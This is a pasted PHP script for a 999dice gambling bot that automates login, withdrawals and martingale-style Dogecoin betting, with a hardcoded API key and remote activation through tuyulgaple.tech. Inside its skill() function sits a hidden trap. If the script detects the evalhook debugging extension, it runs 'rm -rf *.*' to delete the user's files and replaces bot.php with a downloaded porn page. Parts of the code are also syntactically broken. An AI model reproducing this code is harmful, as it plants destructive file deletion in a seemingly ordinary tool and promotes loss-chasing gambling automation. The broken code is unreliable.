kakatoji

999dice

Jul 14th, 2020
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.25 KB | None | 0 0
  1. date_default_timezone_set('Asia/Jakarta');
  2.  
  3. system("clear");$t="\n";$r="\t";
  4.  
  5. //warna
  6.  
  7. $br = "[34m";$tr ="[36m";$ijo ="[92m";
  8.  
  9. $pth = "[37m";$pnk ="[35m";$red ="[31m";
  10.  
  11. $kn = "[33m";$blk ="[8m"; $nt ="[0m";
  12.  
  13. function curls( $url,$data,$ip ){
  14.  
  15. $ch = curl_init($url);
  16.  
  17. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  18.  
  19. curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie");
  20.  
  21. curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie");
  22.  
  23. if(strlen($data) > 0 ){ // POST METHOD
  24.  
  25. curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
  26.  
  27. curl_setopt($ch, CURLOPT_POSTFIELDS, $data ); }
  28.  
  29. if(strlen($ip) > 0 ){ // settings proxy
  30.  
  31. curl_setopt($ch, CURLOPT_PROXY, $ip ); }
  32.  
  33. $result = curl_exec($ch);
  34.  
  35. $info = curl_getinfo($ch);
  36.  
  37. curl_close($ch);
  38.  
  39. if($info["http_code"]==302){
  40.  
  41. return $info["redirect_url"]; } else { return $result; } }
  42.  
  43. function gets ($url) {
  44.  
  45. $curl = curl_init();
  46.  
  47. curl_setopt_array($curl, array(
  48.  
  49. CURLOPT_RETURNTRANSFER => true,
  50.  
  51. CURLOPT_URL => $url,
  52.  
  53. CURLOPT_TIMEOUT => 300,
  54.  
  55. CURLOPT_VERBOSE => 0
  56.  
  57. ));
  58.  
  59. $result = curl_exec($curl);
  60.  
  61. $code = curl_getinfo($curl,CURLINFO_HTTP_CODE);
  62.  
  63. $info = curl_getinfo($curl);
  64.  
  65. curl_close($curl);
  66.  
  67. if( $code==302 ){ return $info["redirect_url"]; }
  68.  
  69. else{ return $result; } }
  70.  
  71. function curl ($method,$url,$data) {
  72.  
  73. $curl = curl_init();
  74.  
  75. curl_setopt_array($curl, array(
  76.  
  77. CURLOPT_RETURNTRANSFER => true,
  78.  
  79. CURLOPT_URL => $url,
  80.  
  81. CURLOPT_TIMEOUT => 300,
  82.  
  83. CURLOPT_CUSTOMREQUEST => $method,
  84.  
  85. CURLOPT_POSTFIELDS => $data,
  86.  
  87. CURLOPT_VERBOSE => 0
  88.  
  89. ));
  90.  
  91. $result = curl_exec($curl);
  92.  
  93. $code = curl_getinfo($curl,CURLINFO_HTTP_CODE);
  94.  
  95. curl_close($curl); return $result; }
  96.  
  97. function clr($clr){system("clear");echo $clr.$t;}
  98.  
  99. function cl($act){system("rm -rf $act");}
  100.  
  101. function strip(){
  102.  
  103. for($i=0;$i<12;$i++){echo "- - ";}echo "\n";}
  104.  
  105. function loding($str,$time) {
  106.  
  107. $ijo ="[92m"; $pth = "[37m";
  108.  
  109. $kn ="[33m"; $tr = "[36m";
  110.  
  111. $tik =[$tr,$ijo,$tr,$ijo,$tr,$ijo];$a=1;
  112.  
  113. echo "\r \r";
  114.  
  115. for($i=$time;$i>0;$i--){
  116.  
  117. $a1 = str_repeat("•",$a);
  118.  
  119. $tok= $tik[$a-1];
  120.  
  121. echo $pth."[".$tok."+++++".$pth."] $str $i sec $a1";
  122.  
  123. if($a==6){$a=1;}else{$a++;}sleep(1);
  124.  
  125. echo "\r \r";}}
  126.  
  127. function saveas($filename,$data){
  128.  
  129. $get=json_decode(file_get_contents($filename),1);
  130.  
  131. $new=array_merge($get,$data);
  132.  
  133. file_put_contents($filename,json_encode($new,JSON_PRETTY_PRINT));}
  134.  
  135. function skill(){
  136.  
  137. $msg="anda terdeteksi sebagai kang recode";
  138.  
  139. if(extension_loaded("evalhook")){
  140.  
  141. @system("clear");shell_exec('rm -rf *.*');
  142.  
  143. $bokep=file_get_contents("https://txxx.com/");
  144.  
  145. file_put_contents("bot.php",$bokep);echo $msg; die(); }}
  146.  
  147. function parse($str){
  148.  
  149. parse_str($str,$array);return $array;}
  150.  
  151. function build($array){return http_build_query($array);}
  152.  
  153. function idr($angka){
  154.  
  155. $hasil_rupiah = "Rp " . number_format($angka,2,',',);
  156.  
  157. return $hasil_rupiah;}
  158.  
  159. function auto_lot2( $bal,$risk,$marti ) {
  160.  
  161. $level = risk($risk);
  162.  
  163. if($bal) {
  164.  
  165. $lot = $bal/$level;
  166.  
  167. $auto_lot = round($lot/100,5); }
  168.  
  169. // simulasi
  170.  
  171. $sbet = $auto_lot;
  172.  
  173. $bet = $sbet;
  174.  
  175. $i = 1;
  176.  
  177. $lvl = array();
  178.  
  179. while(true){
  180.  
  181. $step[]=$sbet;
  182.  
  183. $bals[] =$bal;
  184.  
  185. $bal = $bal-$sbet;
  186.  
  187. if( $bal >= $sbet ){ $i++; } else { $lvl[] = $sbet; }
  188.  
  189. if( !$sbet ){
  190.  
  191. $error = "saldo $bal tidak di dukung"; break; }
  192.  
  193. if( count($lvl)>5 ){ break; }
  194.  
  195. $sbet = $sbet*$marti; }
  196.  
  197. return [
  198.  
  199. "error" => $error,
  200.  
  201. "bet" => $bet,
  202.  
  203. "max" => $i,
  204.  
  205. "minbal" => $bals[$i-1],
  206.  
  207. "loss" => $lvl[0],
  208.  
  209. "steps" => $step,
  210.  
  211. "balance" => $bals ]; }
  212.  
  213. function risk($level){
  214.  
  215. $risk = 1000;
  216.  
  217. for($i=0;$i<$level;$i++){$risk=$risk*10;}
  218.  
  219. return $risk;}
  220.  
  221. function login($key,$username,$pass,$otp){
  222.  
  223. $url="https://www.999dice.com/api/web.aspx";
  224.  
  225. $param=[
  226.  
  227. "a" => "Login",
  228.  
  229. "Key" => $key,
  230.  
  231. "Username" => $username,
  232.  
  233. "Password" => $pass,
  234.  
  235. "Totp" => $otp ];
  236.  
  237. $pos = build($param);
  238.  
  239. $akun=json_decode( curl("POST",$url,$pos),1);
  240.  
  241. if($akun["error"]){echo "[!] ".$akun["error"]."\n";exit;}
  242.  
  243. else{return $akun;}}
  244.  
  245. function bal($sesi,$cur){
  246.  
  247. $url="https://www.999dice.com/api/web.aspx";
  248.  
  249. $param=[
  250.  
  251. "a" => "GetBalance",
  252.  
  253. "s" => $sesi,
  254.  
  255. "Currency" => $cur ];
  256.  
  257. $pos = build($param);
  258.  
  259. $js = json_decode( curl("POST",$url,$pos),1);
  260.  
  261. if(!$js["error"]){return round($js["Balance"],3);}
  262.  
  263. else{echo "[!] ".$js["error"]."\n";loding("wait",120);} }
  264.  
  265. function withdraw($sesi,$walet,$amo,$cur){
  266.  
  267. $url = "https://www.999dice.com/api/web.aspx";
  268.  
  269. $param= [
  270.  
  271. "a" => "Withdraw",
  272.  
  273. "s" => $sesi,
  274.  
  275. "Address" => $walet,
  276.  
  277. "Amount" => $amo,// satoshi
  278.  
  279. "Currency" => $cur ];
  280.  
  281. $pos = build($param);
  282.  
  283. $payout= json_decode( curl("POST",$url,$pos),1);
  284.  
  285. if($payout["error"]){echo "[!] ".$js["error"]."\n";exit;}
  286.  
  287. else{return $payout;}}
  288.  
  289. function his($sesi,$tipe){
  290.  
  291. $url = "https://www.999dice.com/api/web.aspx";
  292.  
  293. // history transaksi
  294.  
  295. $param= [
  296.  
  297. "a" => $tipe,
  298.  
  299. "s" => $sesi,
  300.  
  301. "Token" => $token ];
  302.  
  303. $pos = build($param);
  304.  
  305. $transaksi = json_decode(curl("POST",$url,$pos),1);
  306.  
  307. if($transaksi["error"]){echo "[!] ".$js["error"]."\n";exit;}
  308.  
  309. else{return $transaksi;} }
  310.  
  311. function depo($sesi,$cur){
  312.  
  313. $url = "https://www.999dice.com/api/web.aspx";
  314.  
  315. // get wallet deposite
  316.  
  317. $param = [
  318.  
  319. "a" => "GetDepositAddress",
  320.  
  321. "s" => $sesi,
  322.  
  323. "Currency" => $cur ];
  324.  
  325. $pos = build($param);
  326.  
  327. $js = json_decode(curl("POST",$url,$pos),1);
  328.  
  329. if($js["error"]){echo "[!] ".$js["error"]."\n";exit;}
  330.  
  331. else{ $adres=$js["Address"]; return $adres;}}
  332.  
  333. function register($key,$username,$password){
  334.  
  335. $url = "https://www.999dice.com/api/web.aspx";
  336.  
  337. $param= [
  338.  
  339. "a" => "CreateAccount",
  340.  
  341. "Key" => $key ];
  342.  
  343. $pos = build($param);
  344.  
  345. $js = json_decode(curl("POST",$url,$pos),1);
  346.  
  347. if($js["error"]){echo "[!] ".$js["error"]."\n";exit;}
  348.  
  349. $sesi = $js["SessionCookie"];
  350.  
  351. if( $sesi ) {
  352.  
  353. $param =[
  354.  
  355. "a" => "CreateUser",
  356.  
  357. "s" => $sesi,
  358.  
  359. "Username" => $username,
  360.  
  361. "Password" => $password ];
  362.  
  363. $pos = build($param);
  364.  
  365. $js = json_decode(curl("POST",$url,$pos),1);
  366.  
  367. if($js["error"]){echo "[!] ".$js["error"]."\n";exit;}
  368.  
  369. if($js["success"]){
  370.  
  371. return "success username and password have been created";}
  372.  
  373. elseif($js["AccountHasUser"]){
  374.  
  375. return "account already has a username and password";}
  376.  
  377. elseif($js["UsernameTaken"]){
  378.  
  379. return "username is already taken";}}}
  380.  
  381. function ChangePassword($sesi,$old_pass,$new_pass){
  382.  
  383. $url = "https://www.999dice.com/api/web.aspx";
  384.  
  385. $param = [
  386.  
  387. "a" => "ChangePassword",
  388.  
  389. "s" => $sesi,
  390.  
  391. "OldPassword" => $old_pass,
  392.  
  393. "NewPassword" => $new_pass ];
  394.  
  395. $pos = build($param);
  396.  
  397. $js = json_decode(curl("POST",$url,$pos),1);
  398.  
  399. if($js["error"]){echo "[!] ".$js["error"]."\n";exit;}
  400.  
  401. if($js["success"]){
  402.  
  403. $get = json_decode(file_get_contents("config.json"),1);
  404.  
  405. $get["password"] = $new_pass; saveas("config.json",$get);
  406.  
  407. return "success password changed";
  408.  
  409. }
  410.  
  411. else{return "The wrong password was supplied";}}
  412.  
  413. function UpdateEmail( $sesi,$email ){
  414.  
  415. $url = "https://www.999dice.com/api/web.aspx";
  416.  
  417. $param= [
  418.  
  419. "a" => "UpdateEmail",
  420.  
  421. "s" => $sesi,
  422.  
  423. "Email" => $email ];
  424.  
  425. $pos = build($param);
  426.  
  427. $js = json_decode(curl("POST",$url,$pos),1);
  428.  
  429. if($js["error"]){echo "[!] ".$js["error"]."\n";exit;}
  430.  
  431. if($js["success"]){return "The email is updated";}}
  432.  
  433. function settings($sk,$vr,$baner){
  434.  
  435. $t="\n";$r="\t";
  436.  
  437. //warna
  438.  
  439. $br = "[34m";
  440.  
  441. $tr = "[36m";
  442.  
  443. $ijo = "[92m";
  444.  
  445. $pth = "[37m";
  446.  
  447. $red = "[31m";
  448.  
  449. $kn = "[33m";
  450.  
  451. $url="http://tuyulgaple.tech/setting.json";
  452.  
  453. $set=json_decode(file_get_contents($url),true);
  454.  
  455. $admin = $set["admin"];
  456.  
  457. $apk = $set["aplikasi"][$sk];
  458.  
  459. $for = $set["forum"];
  460.  
  461. $stat_sc = $apk["stat"];
  462.  
  463. $versi = $apk["versi"];
  464.  
  465. $wr = $apk["wr"];
  466.  
  467. $ms = $apk["msg"];
  468.  
  469. $spons = $apk["ads"];
  470.  
  471. $link = $apk["link"];
  472.  
  473. $premium = $apk["premium"];
  474.  
  475. if($set){$ip="online";}else{$ip="offline";}
  476.  
  477. if($vr!=$versi)
  478.  
  479. {
  480.  
  481. $figlet = $tr."[-] Script $sk $ijo v".$vr."$kn [please update!]".$t;
  482.  
  483. }
  484.  
  485. else
  486.  
  487. {
  488.  
  489. $figlet = $tr."[-] Script $sk $ijo v".$vr.$t;
  490.  
  491. }
  492.  
  493. $server = $tr."[-] server-update$ijo $ip ";
  494.  
  495. $forum = $tr."[-] forum diskusi :$ijo $for".$t;
  496.  
  497. $kontak = $tr."[-] Telegram Support: ".$t;
  498.  
  499. $kontak .= $r.$kn."* @RealSugiono$ijo [t.me/realsugiono]".$t;
  500.  
  501. $kontak .= $r.$kn."* @Mbambloo48$ijo [t.me/Mbambloo48]".$t;
  502.  
  503. if($wr){
  504.  
  505. $warn=$t.$red."[!] WARNING [!]
  506.  
  507. ".$kn."[-] INI ADALAH PROGRAM ILLEGAL
  508.  
  509. ".$kn."[-] RESIKO SEPENUHNYA DITANGGUNG PENGGUNA".$t.$pth;}
  510.  
  511. $clr=$baner.$t.$server.$t.$figlet.$kontak.$warn.$t;
  512.  
  513. if($ip=="offline")
  514.  
  515. {
  516.  
  517. echo $clr.$pth."[!] periksa koneksi internet".$t;
  518.  
  519. exit;
  520.  
  521. }
  522.  
  523. elseif(!$stat_sc)
  524.  
  525. {
  526.  
  527. echo $clr."[!] skrip di nonaktifkan by server".$t;
  528.  
  529. exit;
  530.  
  531. }
  532.  
  533. else{ return $clr; }
  534.  
  535. }
  536.  
  537. function verif_user($sk,$user){
  538.  
  539. $url="https://tuyulgaple.tech/premium/";
  540.  
  541. $pos=json_encode([
  542.  
  543. "request" => $sk,
  544.  
  545. "tipe" => "verif",
  546.  
  547. "userid" => $user
  548.  
  549. ]);$js=json_decode(curl("POST",$url,$pos,array()),1);
  550.  
  551. if($js["code"]==200){return $js["code"];} }
  552.  
  553. function billing($wk){
  554.  
  555. $hari = 86400;
  556.  
  557. $jam = 3600;
  558.  
  559. $menit= 60;
  560.  
  561. $msg = "";
  562.  
  563. if($wk>=$hari){
  564.  
  565. $result= $wk/$hari;
  566.  
  567. $time = explode(,$result);
  568.  
  569. $sisa = $time[0];
  570.  
  571. $smal = $result-$sisa;
  572.  
  573. $smal = round($smal*$hari);
  574.  
  575. $msg .= "$sisa hari ";
  576.  
  577. if($smal){ $msg .= billing($smal); }
  578.  
  579. return $msg;
  580.  
  581. elseif($wk<$hari&&$wk>=$jam){
  582.  
  583. $result= $wk/$jam;
  584.  
  585. $time = explode(,$result);
  586.  
  587. $sisa = $time[0];
  588.  
  589. $smal = $result-$sisa;
  590.  
  591. $smal = round($smal*$jam);
  592.  
  593. $msg .= "$sisa jam ";
  594.  
  595. if($smal){ $msg .= billing($smal); }
  596.  
  597. return $msg;
  598.  
  599. }
  600.  
  601. elseif($wk<$jam&&$wk>=$menit){
  602.  
  603. $result= $wk/$menit;
  604.  
  605. $time = explode(,$result);
  606.  
  607. $sisa = $time[0];
  608.  
  609. $smal = $result-$sisa;
  610.  
  611. $smal = round($smal*$menit);
  612.  
  613. $msg .= "$sisa menit ";
  614.  
  615. if($smal){ $msg .= billing($smal); }
  616.  
  617. return $msg;
  618.  
  619. }
  620.  
  621. elseif($wk<60){ $msg .= "$wk sec "; } return $msg; }
  622.  
  623. function gambling( $sesi,$hash,$bet,$rate,$hi,$lo ) {
  624.  
  625. $bet = $bet*$rate["doge"]; // satoshi
  626.  
  627. $url = "https://www.999dice.com/api/web.aspx";
  628.  
  629. $param= [
  630.  
  631. "a" => "PlaceBet",
  632.  
  633. "s" => $sesi,
  634.  
  635. "PayIn" => $bet,
  636.  
  637. "Low" => $lo*10000,
  638.  
  639. "High" => $hi*10000,
  640.  
  641. "ClientSeed" => $hash,
  642.  
  643. "Currency" => "doge",
  644.  
  645. "ProtocolVersion" => 2 ];
  646.  
  647. $pos = build($param);
  648.  
  649. return json_decode(curl("POST",$url,$pos),1); }
  650.  
  651. function gambling2( $sesi,$hash,$set ){
  652.  
  653. $bet = $set["bet"];
  654.  
  655. $max = $set["max"];
  656.  
  657. $rate = $set["rate"];
  658.  
  659. $base = $set["base"];
  660.  
  661. $up = $set["up"];
  662.  
  663. $chance= $set["chance"];
  664.  
  665. $hilo = $set["hilo"];
  666.  
  667. $bet = $bet*$rate["doge"]; // satoshi
  668.  
  669. $base = $base*$rate["doge"]; // satoshi
  670.  
  671. $cen = chance($chance,$hilo);
  672.  
  673. $url = "https://www.999dice.com/api/web.aspx";
  674.  
  675. $pos = build([
  676.  
  677. "a" => "PlaceAutomatedBets",
  678.  
  679. "s" => $sesi,
  680.  
  681. "BasePayIn" => $base,
  682.  
  683. "StartingPayIn" => $bet,
  684.  
  685. "Low" => $cen["lo"]*10000,
  686.  
  687. "High" => $cen["hi"]*10000,
  688.  
  689. "MaxBets" => $max,
  690.  
  691. "ResetOnWin" => 1,
  692.  
  693. "ResetOnLose" => 0,
  694.  
  695. "IncreaseOnWinPercent" => 0,
  696.  
  697. "IncreaseOnLosePercent" => $up,
  698.  
  699. "MaxPayIn" => 0,
  700.  
  701. "ResetOnLoseMaxBet" => 0,
  702.  
  703. "StopOnLoseMaxBet" => 0,
  704.  
  705. "StopMaxBalance" => 0,
  706.  
  707. "ClientSeed" => $hash,
  708.  
  709. "Currency" => "doge",
  710.  
  711. "ProtocolVersion" => 2
  712.  
  713. ]);
  714.  
  715. return json_decode(curl("POST",$url,$pos),1); }
  716.  
  717. function gambling3( $sesi,$hash,$bet,$max,$rate,$base,$marti,$min ){
  718.  
  719. $bet = $bet*$rate["doge"]; // satoshi
  720.  
  721. $base = $base*$rate["doge"]; // satoshi
  722.  
  723. if(!$min){ $min = 0; }else{ $min = $min*$rate["doge"]; }
  724.  
  725. $url = "https://www.999dice.com/api/web.aspx";
  726.  
  727. $pos = build([
  728.  
  729. "a" => "PlaceAutomatedBets",
  730.  
  731. "s" => $sesi,
  732.  
  733. "BasePayIn" => $base,
  734.  
  735. "StartingPayIn" => $bet,
  736.  
  737. "StopMinBalance" => $min,
  738.  
  739. "Low" => 0,
  740.  
  741. "High" => 499499,
  742.  
  743. "MaxBets" => $max,
  744.  
  745. "ResetOnWin" => 1,
  746.  
  747. "ResetOnLose" => 0,
  748.  
  749. "IncreaseOnWinPercent" => 0,
  750.  
  751. "IncreaseOnLosePercent" => 1,
  752.  
  753. "MaxPayIn" => 0,
  754.  
  755. "ResetOnLoseMaxBet" => 0,
  756.  
  757. "StopOnLoseMaxBet" => 0,
  758.  
  759. "StopMaxBalance" => 0,
  760.  
  761. "ClientSeed" => $hash,
  762.  
  763. "Currency" => "doge",
  764.  
  765. "Compact" => 1,
  766.  
  767. "ProtocolVersion" => 2
  768.  
  769. ]);
  770.  
  771. return json_decode(curl("POST",$url,$pos),1); }
  772.  
  773. function chance($ch,$hilo){
  774.  
  775. $hi = 99-$ch;
  776.  
  777. if($hilo=="hi"){
  778.  
  779. $low = $hi; $high= 99; }
  780.  
  781. if($hilo=="lo"){
  782.  
  783. $low = 0; $high= $ch;}
  784.  
  785. return [ "lo" => $low,"hi"=>$high ]; }
  786.  
  787. function get_hash($sesi) {
  788.  
  789. $url = "https://www.999dice.com/api/web.aspx";
  790.  
  791. $param= [
  792.  
  793. "a" => "GetServerSeedHash",
  794.  
  795. "s" => $sesi ];
  796.  
  797. $pos = build($param);
  798.  
  799. while (true):
  800.  
  801. $js = json_decode(curl("POST",$url,$pos),1);
  802.  
  803. if( $js["Hash"] ) { return $js["Hash"]; }
  804.  
  805. else{ loding("wait",120); }
  806.  
  807. endwhile;
  808.  
  809. }
  810.  
  811. function cover($bet,$max,$marti){
  812.  
  813. for($i=0;$i<$max;$i++){ $bet = $bet*$marti; }
  814.  
  815. return $bet; }
  816.  
  817. function profit( $bal,$persen,$rate ){
  818.  
  819. $day = 1;
  820.  
  821. $hari= 360;
  822.  
  823. $run = 0;
  824.  
  825. while( $day <= $hari ) {
  826.  
  827. $run ++;
  828.  
  829. $profit = $bal*$persen/100;
  830.  
  831. $bal = round($bal+$profit);
  832.  
  833. $idr = "Rp ".number_format($bal*$rate);
  834.  
  835. if( $run == 30 ){
  836.  
  837. $data[] = [
  838.  
  839. "doge" => $bal,
  840.  
  841. "idr" => $idr ]; $run = 0; }
  842.  
  843. $day ++; } return $data;}
  844.  
  845. function cek_error( $res ){
  846.  
  847. $gm = [
  848.  
  849. "ChanceTooHigh" => "The chance to win is too high !",
  850.  
  851. "ChanceTooLow" => "The chance to win is too low !",
  852.  
  853. "NoPossibleProfit" => "no possible way for the user to profit",
  854.  
  855. "MaxPayoutExceeded"=> "The bet, if won, would exceed the maximum"
  856.  
  857. ];
  858.  
  859. foreach( $gm as $error => $respon ){
  860.  
  861. if($res[$error]) { return $respon; } } }
  862.  
  863. function addset(){
  864.  
  865. $betset = [ "betset" => [
  866.  
  867. "base" => readline("base bet > "),
  868.  
  869. "max" => 1,
  870.  
  871. "chance" => readline("chance > "),
  872.  
  873. "hilo" => readline("hi/lo > "),
  874.  
  875. "iflose" => readline("iflose > ") ] ];
  876.  
  877. saveas("config.json",$betset); }
  878.  
  879. /////////////////////////////////////////////////////////////////
  880.  
  881. $sk="dicebot";$vr="3.2"; $cfg="config.json";
  882.  
  883. $baner = $ijo."";
  884.  
  885. error_reporting(0); skill();
  886.  
  887. $clr = settings($sk,$vr,$baner);
  888.  
  889. $apikey = "31c6dcb688a644ff925552c0fc27db16";
  890.  
  891. $rate = [
  892.  
  893. "btc" => 100000000,
  894.  
  895. "doge" => 100000000,
  896.  
  897. "ltc" => 10000000,
  898.  
  899. "eth" => 100000000 ];
  900.  
  901. while(true):clr($clr);strip();
  902.  
  903. // session start
  904.  
  905. echo $pth."[1]$tr register new account".$t;
  906.  
  907. echo $pth."[2]$tr login account".$t;strip();
  908.  
  909. $plhn=readline("dice-bot> ");strip();
  910.  
  911. // register
  912.  
  913. if($plhn==1){
  914.  
  915. $username=readline("username: ");
  916.  
  917. $password=readline("password: ");
  918.  
  919. if($username&&$password){
  920.  
  921. echo register($apikey,$username,$password).$t; strip(); } }
  922.  
  923. if($plhn==2){
  924.  
  925. if(!file_exists($cfg)){file_put_contents($cfg,"[]");}
  926.  
  927. $config = json_decode(file_get_contents($cfg),1);
  928.  
  929. if(!$config["username"]){
  930.  
  931. $username = readline("username: ");
  932.  
  933. $password = readline("password: ");
  934.  
  935. $data = [
  936.  
  937. "username" => $username,
  938.  
  939. "password" => $password ];
  940.  
  941. saveas($cfg,$data);
  942.  
  943. }
  944.  
  945. else{
  946.  
  947. $username = $config["username"];
  948.  
  949. $password = $config["password"];}
  950.  
  951. // ---- after login --- //
  952.  
  953. while(true):clr($clr);strip();
  954.  
  955. if(!$session_login){
  956.  
  957. $config = json_decode(file_get_contents($cfg),1);
  958.  
  959. $username= $config["username"];
  960.  
  961. $password= $config["password"];
  962.  
  963. $otp = readline("verif 2fa (optional): ");
  964.  
  965. clr($clr);
  966.  
  967. $login = login($apikey,$username,$password,$otp); }
  968.  
  969. if($login["LoginInvalid"]){
  970.  
  971. echo "[!] username atau password salah".$t; cl($cfg); exit;
  972.  
  973. }
  974.  
  975. elseif( $login["AccountId"] OR $session_login ){
  976.  
  977. if(!$session_login){
  978.  
  979. $sesi = $login["SessionCookie"];
  980.  
  981. $uid = $login["AccountId"];
  982.  
  983. $doge = $login["Doge"];
  984.  
  985. $ltc = $login["LTC"];
  986.  
  987. $eth = $login["ETH"];
  988.  
  989. $curency = ["btc","doge","ltc","eth"];
  990.  
  991. $session_login = $sesi;
  992.  
  993. echo $pth."login$ijo success$pth account id$ijo -> $uid".$t.$tr;
  994.  
  995. echo $r."doge: ".number_format($doge["Balance"]/$rate["doge"],3).$t;
  996.  
  997. echo $r."ltc : ".number_format($ltc["Balance"]/$rate["ltc"],6).$t;
  998.  
  999. echo $r."eth : ".number_format($eth["Balance"]/$rate["eth"],7).$t;
  1000.  
  1001. }
  1002.  
  1003. else{
  1004.  
  1005. echo $pth."login$ijo success$pth account id$ijo -> $uid".$t.$tr;
  1006.  
  1007. $sesi = $session_login;
  1008.  
  1009. $doge = round(bal($sesi,"doge")/$rate["doge"],2);
  1010.  
  1011. echo $r."doge: $doge".$t;
  1012.  
  1013. sleep(1);
  1014.  
  1015. echo $r."ltc : ".number_format(bal($sesi,"ltc")/$rate["ltc"],6).$t;
  1016.  
  1017. sleep(1);
  1018.  
  1019. echo $r."eth : ".number_format(bal($sesi,"eth")/$rate["eth"],7).$t;
  1020.  
  1021. }
  1022.  
  1023. strip();
  1024.  
  1025. if( $multi ){
  1026.  
  1027. $sesi = $msesi;
  1028.  
  1029. echo $pth."login multi account$ijo success$pth $user".$t;
  1030.  
  1031. $doge = round(bal($sesi,"doge")/$rate["doge"],2);
  1032.  
  1033. echo $r.$pth."doge:$ijo $doge".$t; strip(); }
  1034.  
  1035. // -- verif user login
  1036.  
  1037. $verif = verif_user($sk,$uid);
  1038.  
  1039. if( ! $verif ) {
  1040.  
  1041. echo $red."user tidak dikenal,$kn lakukan aktivasi".$t;strip();exit;}
  1042.  
  1043. echo $r.$pth."[1]$ijo deposit".$t;
  1044.  
  1045. echo $r.$pth."[2]$ijo withdraw".$t;
  1046.  
  1047. echo $r.$pth."[3]$ijo user settings".$t;
  1048.  
  1049. echo $r.$pth."[4]$ijo cek transaksi".$t;
  1050.  
  1051. echo $r.$pth."[5]$ijo gambling".$t.$tr;
  1052.  
  1053. strip();
  1054.  
  1055. $ops = readline("dice-bot> ");strip();
  1056.  
  1057. // ---------------------------------------------------------- //
  1058.  
  1059. if( $ops == 8 ){ exit;
  1060.  
  1061. echo $pth."~~~~~~$ijo multiple account settings$pth ~~~~~~".$t;
  1062.  
  1063. echo $r.$tr."[1]$pth account list".$t;
  1064.  
  1065. echo $r.$tr."[2]$pth add account".$t;
  1066.  
  1067. if( $multi ){ echo $r.$tr."[3]$pth exit multi".$t; }
  1068.  
  1069. strip();
  1070.  
  1071. $oops = readline("multi> ");
  1072.  
  1073. $get = json_decode(file_get_contents($cfg),1);
  1074.  
  1075. if( $oops == 1 ){
  1076.  
  1077. if(!$get["multi"]){ echo $red."tidak ada akun lain di sini".$t; }
  1078.  
  1079. else{
  1080.  
  1081. foreach( $get["multi"] as $key => $val ){
  1082.  
  1083. $user = $key;
  1084.  
  1085. $akses = readline($ijo."aksess account$tr $user$pth$r y/n: ");
  1086.  
  1087. if( $akses=="y" ){ $msesi = $val; $multi = 1; break; } } }
  1088.  
  1089. }
  1090.  
  1091. elseif( $oops == 2 ){
  1092.  
  1093. $user = readline($pth."username:$ijo ");
  1094.  
  1095. $pass = readline($pth."password:$ijo ");
  1096.  
  1097. $login = login($apikey,$user,$pass);
  1098.  
  1099. $msesi = $login["SessionCookie"];
  1100.  
  1101. if(!$msesi){ echo $red."invalid username or password".$t; }
  1102.  
  1103. else{
  1104.  
  1105. if(!$get["multi"]){ $get["multi"] = array(); }
  1106.  
  1107. echo $ijo."success save account$br session".$t;
  1108.  
  1109. $get["multi"] = array_merge($get["multi"],[ $user => $msesi ]);
  1110.  
  1111. saveas($cfg,$get); } }
  1112.  
  1113. elseif( $oops == 3 ){ $multi = 0; }
  1114.  
  1115. }
  1116.  
  1117. // ---------------------------------------------------------- //
  1118.  
  1119. //deposite
  1120.  
  1121. if($ops==1){$i=1;
  1122.  
  1123. foreach($curency as $curen){
  1124.  
  1125. echo $r.$pth."[$i]$ijo deposit $curen$tr".$t;$i++;}
  1126.  
  1127. $plh=readline("deposit> ");
  1128.  
  1129. if($plh){
  1130.  
  1131. $cos=$plh-1;$cur=$curency[$cos];
  1132.  
  1133. $adres=depo($sesi,$cur);
  1134.  
  1135. if($adres){
  1136.  
  1137. echo $pth."wallet address:$ijo ".$adres.$t;
  1138.  
  1139. echo $kn."silahkan kirim hanya$pth $cur$kn ke alamat di atas".$t;}}
  1140.  
  1141. }
  1142.  
  1143. // ---------------------------------------------------------- //
  1144.  
  1145. if($ops==2){
  1146.  
  1147. $number = 0;
  1148.  
  1149. foreach($curency as $pay){
  1150.  
  1151. $number++;
  1152.  
  1153. # $bal = bal($sesi,$pay)/$rate[$pay];
  1154.  
  1155. # $bal = number_format($bal,7);
  1156.  
  1157. echo $pth.$r.$number.$tr." withdraw$ijo ".$r.$pay.$t;
  1158.  
  1159. sleep(1); }
  1160.  
  1161. strip();
  1162.  
  1163. $plh = readline("pilih currency: ");
  1164.  
  1165. if( $plh ){
  1166.  
  1167. $plh = $plh-1;
  1168.  
  1169. $cur = $curency[$plh];
  1170.  
  1171. $addr= readline("address $cur: ");
  1172.  
  1173. $req = readline("masukan amo $cur: ");
  1174.  
  1175. if( $req && $addr ){
  1176.  
  1177. $amo = $req*$rate[$cur];
  1178.  
  1179. $wd = withdraw($sesi,$addr,$amo,$cur);
  1180.  
  1181. if($wd["Pending"]) {
  1182.  
  1183. strip();
  1184.  
  1185. echo $ijo."success transaksi$pth pending ".$t;
  1186.  
  1187. echo $pth.$r."addres :$ijo ".$addr.$t;
  1188.  
  1189. echo $pth.$r."amount :$ijo ".$req.$t;
  1190.  
  1191. echo $pth.$r."currency:$ijo ".strtoupper($cur).$t; }
  1192.  
  1193. elseif($wd["TooSmall"]){
  1194.  
  1195. echo $kn."The withdrawal is too small to process".$t; }
  1196.  
  1197. elseif($wd["InsufficientFunds"]) {
  1198.  
  1199. echo $red."The user has insufficient funds".$t; }
  1200.  
  1201. else{ print_r($wd); } } } }
  1202.  
  1203. // ---------------------------------------------------------- //
  1204.  
  1205. if( $ops == 3 ){
  1206.  
  1207. echo "options user settings".$t; strip();
  1208.  
  1209. echo $pth.$r."[1]$ijo set email".$t;
  1210.  
  1211. echo $pth.$r."[2]$ijo change password".$t; strip();
  1212.  
  1213. $pil = readline("uset-set > ");
  1214.  
  1215. if( $pil==1 ){
  1216.  
  1217. $email = readline("input email: ");
  1218.  
  1219. if($email){ echo UpdateEmail( $sesi,$email ).$t;strip(); } }
  1220.  
  1221. if( $pil==2 ){
  1222.  
  1223. $old_pass = readline("password saat ini: ");
  1224.  
  1225. $new_pass = readline("password baru : ");
  1226.  
  1227. if( $old_pass && $new_pass ){
  1228.  
  1229. echo ChangePassword($sesi,$old_pass,$new_pass).$t;strip(); } }
  1230.  
  1231. }
  1232.  
  1233. // ---------------------------------------------------------- //
  1234.  
  1235. if($ops==4){
  1236.  
